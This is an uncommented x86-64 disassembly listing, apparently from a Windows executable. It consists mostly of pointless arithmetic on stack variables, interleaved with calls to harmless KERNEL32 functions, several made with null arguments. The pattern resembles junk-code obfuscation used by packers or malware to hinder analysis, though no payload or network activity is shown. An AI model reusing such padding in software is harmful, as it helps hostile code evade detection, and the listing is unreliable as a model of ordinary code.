mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xcdf8], eax
mov rax, qword [rsp + 0x19850]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0x91e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcde0], eax
movzx eax, byte [rsp + 0x787]
mov byte [rsp + 0x78c], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad640], ax
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [0x1402bf780]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov ecx, dword [rsp + 0xcde0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa528], eax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xcd70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19850]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcdf4]
mov ecx, dword [rsp + 0xcdd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x35fc], ax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x783], al
lea rax, [rsp + 0x35ec]
mov qword [rsp + 0x19890], rax
lea rax, [rsp + 0x782]
mov qword [rsp + 0x19898], rax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x198a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x198a0]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad644], eax
lea rax, [rsp + 0xcde4]
mov qword [rsp + 0x198a8], rax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x35bc], ax
movzx eax, byte [rsp + 0x783]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x784], al
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0xcdfc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcce0], eax
mov eax, dword [rsp + 0xcdd0]
mov ecx, dword [rsp + 0xcdf4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xccdc], eax
mov eax, dword [rsp + 0xcdd8]
mov ecx, dword [rsp + 0xcdf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c50], eax
mov rax, qword [rsp + 0x19888]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdf0], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov byte [rsp + 0x78d], al
movzx eax, word [rsp + 0x35dc]
mov word [0x1402bf758], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x198b0], rax
mov eax, dword [rsp + 0xcde8]
mov ecx, dword [rsp + 0xcdd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xcd3c]
mov ecx, dword [rsp + 0xcdcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xce00], eax
mov eax, dword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x8754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f6c], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xa958]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x475], al
movsx eax, word [rsp + 0x35ec]
movsx ecx, word [rsp + 0x35a4]
add eax, ecx
mov word [rsp + 0x35b4], ax
movzx eax, byte [rsp + 0x784]
mov byte [rsp + 0x78e], al
movzx eax, word [rsp + 0x35c4]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad648], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov dword [rsp + 0xce04], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x35a8], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x78c], al
mov eax, dword [rsp + 0xccc0]
mov dword [rsp + 0xce08], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdd4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdcc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdf0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xce0c], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb47], al
movzx eax, word [rsp + 0x35f8]
mov word [rsp + 0x3600], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde8], eax
mov rax, qword [rsp + 0x19750]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa528], eax
movzx eax, word [rsp + 0x35a4]
mov word [rsp + 0x3604], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x475]
and eax, ecx
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
imul eax, eax, 0xe0
mov word [rsp + 0x2dd4], ax
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x787], al
mov eax, dword [rsp + 0xce04]
mov ecx, dword [rsp + 0xcd10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [0x1402bf770]
mov ecx, dword [rsp + 0x9f6c]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad64c], eax
mov eax, dword [rsp + 0x9c50]
mov dword [rsp + 0xce10], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcd10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e8], eax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcddc], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xce14], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x788]
or eax, ecx
mov byte [rsp + 0x783], al
movzx eax, word [rsp + 0x2dd4]
movzx ecx, word [rsp + 0x18d8]
sar eax, cl
mov word [rsp + 0x35e4], ax
xor r9d, r9d
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x19718]
mov rcx, qword [rsp + 0x19690]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcd28], eax
lea rax, [0x1402ad64c]
mov qword [rsp + 0x198b8], rax
mov eax, dword [rsp + 0xb404]
mov ecx, dword [rsp + 0xcdd0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
lea rax, [rsp + 0xce08]
mov qword [rsp + 0x198c0], rax
lea rax, [rsp + 0xc224]
mov qword [0x1402bf750], rax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35e4]
shl eax, cl
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78e]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f5c]
add eax, ecx
mov word [rsp + 0x269c], ax
lea rax, [rsp + 0x475]
mov qword [rsp + 0x198c8], rax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xc264]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcde8], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xce18], eax
movzx eax, word [rsp + 0x35fc]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2964], ax
movzx eax, byte [rsp + 0x78e]
mov byte [rsp + 0x78f], al
lea rcx, [rsp + 0x198d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [0x1402bf748], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xccc0], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xbc10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdd8], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb404]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
add eax, ecx
mov byte [rsp + 0x78f], al
movzx eax, word [rsp + 0x35e4]
mov word [rsp + 0x3608], ax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [0x1402ad64c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce08], eax
mov eax, dword [rsp + 0xce18]
mov ecx, dword [rsp + 0xcd1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
mov eax, dword [rsp + 0xcda8]
mov dword [rsp + 0xce1c], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x198d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x198d8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad634], eax
mov eax, dword [rsp + 0x9f6c]
movzx ecx, al
mov eax, dword [rsp + 0xccc0]
sar eax, cl
mov dword [rsp + 0xcde0], eax
mov rax, qword [rsp + 0x19880]
movzx eax, byte [rax]
mov byte [rsp + 0x790], al
movsx eax, word [rsp + 0x3604]
movsx ecx, word [0x1402ad2f8]
or eax, ecx
mov word [rsp + 0x269c], ax
movzx eax, byte [rsp + 0x78a]
movzx ecx, byte [rsp + 0x784]
xor eax, ecx
mov byte [rsp + 0x78f], al
movzx eax, word [rsp + 0x35f0]
movzx ecx, word [rsp + 0x35f4]
and eax, ecx
mov word [rsp + 0x25b8], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0xcde8]
mov ecx, dword [rsp + 0xcdd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
lea rax, [rsp + 0xcd1c]
mov qword [rsp + 0x198e0], rax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17a]
sub eax, ecx
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3608]
sub eax, ecx
mov word [0x1402ad650], ax
mov eax, dword [rsp + 0xbac8]
mov ecx, dword [rsp + 0xcd4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb404], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xce20], eax
mov eax, dword [rsp + 0xce10]
mov ecx, dword [rsp + 0xcd98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf8], eax
mov eax, dword [rsp + 0xcda8]
mov dword [rsp + 0xce24], eax
movzx eax, byte [rsp + 0x788]
movzx ecx, byte [0x1402acb3b]
sub eax, ecx
mov byte [rsp + 0x784], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x308c], ax
mov eax, dword [rsp + 0xa528]
mov ecx, dword [rsp + 0xce10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf8], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcb44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x35ec]
sar eax, cl
mov word [0x1402ad63c], ax
movzx eax, byte [0x1402bf78c]
mov byte [rsp + 0x791], al
movzx eax, byte [rsp + 0x78f]
movzx ecx, byte [rsp + 0x17a]
shl eax, cl
mov byte [rsp + 0x78d], al
movzx eax, word [rsp + 0x25b8]
mov word [rsp + 0x360c], ax
mov eax, dword [0x1402bf748]
mov ecx, dword [rsp + 0xa2e8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdf4], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xcde8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [rsp + 0x198b8]
mov ecx, dword [rsp + 0xce00]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa970], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd98], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xce28], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19860]
mov byte [rcx], al
movzx eax, word [rsp + 0x35fc]
movzx ecx, word [rsp + 0x35cc]
add eax, ecx
mov word [0x1402ad654], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdd0], eax
mov eax, dword [0x1402ad64c]
mov dword [rsp + 0xce2c], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdcc], eax
mov eax, dword [rsp + 0xcdf4]
mov ecx, dword [rsp + 0xb404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8f4], eax
movzx eax, byte [0x1402acb47]
movzx ecx, byte [rsp + 0x78a]
add eax, ecx
mov byte [rsp + 0x78f], al
movzx eax, word [rsp + 0x35fc]
mov word [rsp + 0x3610], ax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x269c]
and eax, ecx
mov word [rsp + 0x3604], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55e]
sar eax, cl
mov byte [rsp + 0x791], al
lea rax, [rsp + 0xb404]
mov qword [0x1402bf740], rax
mov eax, dword [rsp + 0x9c50]
mov dword [rsp + 0xce30], eax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x785]
shl eax, cl
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
lea rax, [rsp + 0x35f4]
mov qword [rsp + 0x198e8], rax
mov eax, dword [rsp + 0xcdd8]
mov ecx, dword [rsp + 0xce14]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcda8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xce34], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xce30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcde0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rdx, [rsp + 0xcd9c]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xce38], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78c]
add eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35bc]
imul eax, ecx
mov word [0x1402ad648], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xccc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce08], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov eax, dword [rsp + 0x91e8]
mov dword [rsp + 0xce3c], eax
mov eax, dword [rsp + 0xa958]
mov ecx, dword [rsp + 0xcde4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91e8], eax
lea rax, [rsp + 0xcde0]
mov qword [rsp + 0x198f0], rax
movsx eax, word [rsp + 0x35b4]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f5c], ax
movsx eax, byte [rsp + 0x782]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55e], al
movzx eax, byte [rsp + 0x78f]
mov byte [rsp + 0x792], al
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x2964]
add eax, ecx
mov word [0x1402ad650], ax
mov rax, qword [0x1402bf740]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9974], eax
movzx ecx, word [rsp + 0x35b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35b8], ax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35e4]
add eax, ecx
mov word [rsp + 0x3608], ax
movzx eax, byte [rsp + 0x785]
mov byte [rsp + 0x793], al
mov eax, dword [rsp + 0xce28]
mov ecx, dword [rsp + 0xcde4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce34], eax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xce40], eax
mov eax, dword [rsp + 0xcd58]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x198f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x198f8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
movzx eax, word [0x1402ad650]
mov word [0x1402bf738], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xce44], eax
movzx eax, byte [rsp + 0x17a]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa970], eax
movzx eax, word [rsp + 0x35e0]
mov word [rsp + 0x3614], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xccc8], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov byte [rsp + 0x794], al
movzx eax, word [rsp + 0x35fc]
movzx ecx, word [rsp + 0x2dd4]
imul eax, ecx
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov ecx, dword [0x1402bf770]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad658], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb418], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf780]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xce48], eax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35f8]
add eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x785]
mov byte [rsp + 0x795], al
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcdfc], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x19900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19900]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcdf4], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x93c4], eax
lea rdx, [rsp + 0x2d2d8]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd74], eax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
shl eax, cl
mov dword [0x1402ad634], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb4e]
or eax, ecx
mov byte [rsp + 0x187], al
movzx eax, word [rsp + 0x35f0]
mov word [rsp + 0x3618], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x791]
and eax, ecx
mov byte [rsp + 0x789], al
movsx eax, word [rsp + 0x2f5c]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x269c], ax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xce4c], eax
mov eax, dword [rsp + 0xa958]
mov ecx, dword [rsp + 0xb418]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc224], eax
lea rax, [0x1402acb3b]
mov qword [rsp + 0x19908], rax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x360c], ax
mov eax, dword [rsp + 0xce1c]
mov ecx, dword [rsp + 0x9974]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad65c], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19750]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x198a8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xce54], eax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd4c], eax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3be], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35e4]
add eax, ecx
mov rcx, qword [rsp + 0x19848]
mov word [rcx], ax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xcdf8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce10], eax
mov eax, dword [rsp + 0xcd58]
mov dword [rsp + 0xce58], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xccc8], eax
mov eax, dword [rsp + 0xc224]
movzx ecx, al
mov eax, dword [0x1402ad658]
shl eax, cl
mov dword [0x1402ad634], eax
mov eax, dword [rsp + 0x9c0c]
mov dword [rsp + 0xce5c], eax
movsx eax, byte [rsp + 0x791]
movsx ecx, byte [rsp + 0x786]
or eax, ecx
mov rcx, qword [rsp + 0x19880]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movsx eax, word [rsp + 0x3614]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2678], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xccc8], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
imul eax, eax, 0x3d
mov byte [rsp + 0x784], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x9974]
mov qword [rsp + 0x19910], rax
mov eax, dword [rsp + 0xc538]
mov ecx, dword [rsp + 0xbc10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x796], al
lea rax, [rsp + 0x35f4]
mov qword [0x1402bf730], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xce38], eax
mov eax, dword [rsp + 0xb404]
mov ecx, dword [rsp + 0xcce4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdd4], eax
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcce0], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xcd58]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [rsp + 0xce18]
mov dword [rsp + 0xce60], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xcd4c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
lea rcx, [rsp + 0x19918]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, word [rsp + 0x35bc]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
sub eax, ecx
